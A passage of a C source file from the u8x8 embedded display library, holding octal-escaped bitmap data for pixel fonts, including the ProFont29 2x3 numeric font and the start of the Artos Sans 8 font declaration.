\"\\0\\0\\0\\0\\0\\0\\0\\0\\301\\343\\343\\343\\301\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\341\\363\\177\\77\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\2\\0\\0\\0\\0\\2\\7\\17\\37=x\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\2\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\17\\36<x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x=\\37\\17\"\n  \"\\7\\2\\0\\0\\0\\0\\2\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\7\\216\\376\"\n  \"\\374\\360\\0\\0\\0\\0\\0\\0\\0\\60\\70<\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\207\\307\\347\\347\\347\\356\\376\\374\\360\\0\\0\\177\\377\\377\\200\\0\\17\\37\\77\\70\\70\\70\\77\"\n  \"\\37\\17\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\300\\360\\374\\77\\17\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\374\\377\\377;\\70\\70\\70\\70\\70\\70;\\377\\377\\374\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\17\\217\\375\"\n  \"\\370p\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\340\\340`\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\16\\376\\374\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\7\\7\\207\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0x\\370\\370\\200\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\377\\377\\377\\200\\300\\340\\360x<\\36\\17\\7\"\n  \"\\3\\0\\0\\0\\377\\377\\377\\17\\37=x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\1\\3\\7\\7\"\n  \"\\6\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\36<x\\360\\340\\360x<\\36\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\7\\7\\7\\0\\0\\0\\377\\377\\377\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\7\\0\\377\\377\\377\\36<x\\360\\340\\300\\200\\0\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\377\"\n  \"\\377\\377\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\177\\377\\377\\200@\\340\\340\\300\\200\\200\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\"\n  \"\\71\\20\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\17\\17\\375\"\n  \"\\370\\360\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0p\\374\\376\\216\\7\\7\\7\\7\\7\\7\\16>\"\n  \"<\\60\\0\\0`\\341\\343\\203\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\177\\0\\0\\0\\1\\7\\37~\\370\\340\\340\\370~\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\300\\340\\360\\177\\77\\177\\360\\340\\340\\377\\377\\377\\0\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\7\\7\\7\\0\\37\\77\\177\\360\\340\\300\\200\\200\\300\\340\\360\\177\\77\\37\\0\\0\\300\\340\\360x=\\37\\17\\17\\37=x\\360\"\n  \"\\340\\300\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\377\\377\\377\\200\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\7\\17\\376\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\207\\307\\347\\367\\177\\77\\37\\0\\0\\300\\340\\360x<\\36\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\70\\70\\70\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\77\\77\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0@\\340\\360x<\\36\\17\\17\\36<x\\360\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\340\\0\\0\\0\\1\\3\\7\\17\\16\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\1\\7\\7\\6\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\271\\70\\70\\70\\70\\70\\70\\71\\77\\77>\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\340\\340\\340\\360\\374\\376\\356\\347\\347\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\343\\347\\347\\347\\347\\347\\347w\\177\"\n  \"\\77\\17\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\377\"\n  \"\\377\\376\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\340\\340\\340\\347\\347\\347\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\347\\347\\347\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340p\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\200\\300\\340\\340`\"\n  \" \\0\\0\\0\\377\\377\\377x<\\36\\77\\177\\363\\341\\300\\200\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\7\\6\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\"\n  \"\\300\\200\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\1\\377\\377\\376\\0\\7\\7\\7\\0\\0\\0\\7\\7\\7\\0\\0\\0\"\n  \"\\7\\7\\7\\0\\340\\340\\340\\0\\200\\300\\300\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\7\\3\\1\\1\\0\\0\\0\\1\\377\"\n  \"\\377\\376\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\"\n  \"\\200\\0\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0~\\377\\377\\201\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\377\"\n  \"\\377\\377\\0\\0\\340\\340\\340\\0\\200\\300\\300\\340\\340\\340\\300\\300\\200\\0\\0\\0\\377\\377\\377\\7\\3\\1\\1\\0\\0\\0\\1\\7\"\n  \"\\7\\6\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\7\\17\\17\\35\\34\\34\\34\\34\\34\\34\\270\\370\\360\\340\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\340\\340\\340\\377\\377\\377\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\200\\200\\300\\340\\377\\377\\377\\0\\0\\0\\1\\3\\3\\7\\7\\7\\3\\3\\1\\0\\7\"\n  \"\\7\\7\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\3\\17\\77\\374\\360\\300\\0\\0\\300\\360\\374\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\340\\340\\340\\0\\0\\0\"\n  \"\\340\\340\\340\\0\\377\\377\\377\\200\\0\\200\\377\\377\\377\\200\\0\\200\\377\\377\\377\\0\\0\\3\\3\\7\\7\\7\\3\\1\\3\\7\\7\\7\"\n  \"\\3\\3\\0\\0\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\0\\0\\0\\201\\303\\347\\377~<<~\\377\\347\\303\"\n  \"\\201\\0\\0\\0\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\340\\340\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\3\\343\\347\\347\\347\\347\\347\\347w\\177\"\n  \"\\77\\17\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\375\\375\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\177\\360\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\375\\375\\17\\7\\7\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360\\177\\177\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\200\\200\\0\\0\\300\\300\\300\\0\\0\\0\\7\\7\\7\\1\\1\\3\\3\\7\\7\\7\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: ProFont29\n  Copyright: ProFont Distribution 2.2  Generated by Fontographer 4.1.5\n  Glyphs: 18/256\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_profont29_2x3_n[1300] U8X8_FONT_SECTION(\"u8x8_font_profont29_2x3_n\") = \n  \" :\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\70\\70\\360\\340\\376\\376\\376\\360\\360\\70\\70\\20\\0\\0\\0\\2\\7\\7\\3\\3\\77\\77\\77\\3\\3\\7\\7\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@\\341\\363\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\300\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\207\\307\\347\\376\\376\\374\\360\\0\\0\\177\\377\\377\\370<\\36\\17\\7\\3\\1\\200\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\70\\70\\70<\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\7\\216\\376\\374p\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\60<>\\16\\7\\7\\7\\7\\7\\207\\216\\376\"\n  \"\\374p\\0\\0`\\340\\340\\200\\0\\0\\7\\7\\7\\17\\217\\375\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\200\\300\\340\\360x<\\36\\377\\377\\377\\0\\0\\0\\0\\0\\37\\37\\37\\35\\34\\34\\34\\34\\377\\377\\377\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\377\\377\\377\\347\\347\\347\\347\\347\\347\\347\\307\\307\"\n  \"\\207\\7\\0\\0`\\340\\340\\200\\0\\0\\0\\0\\0\\0\\201\\377\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\360\\374\\376\\356\\347\\347\\347\\347\\347\\347\\307\\300\\200\\0\\0\\0\\177\\377\\377\\200\\0\\0\\0\\0\\0\\0\\201\\377\"\n  \"\\377~\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\307\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\374\\376\\216\\207\\7\\7\\7\\7\\207\\216\\376\\374p\\0\\0p\\370\\375\\217\\17\\7\\7\\7\\7\\17\\217\\375\"\n  \"\\370p\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\360\\374\\376\\16\\7\\7\\7\\7\\7\\7\\16\\376\"\n  \"\\374\\360\\0\\0\\3\\17\\37\\34\\70\\70\\70\\70\\70\\70\\270\\377\\377\\177\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\343\\343\\343\\301\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 96/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artossans8_r[772] U8X8_FONT_SECTION(\"u8x8_font_artossans8_r\") = \n  \" 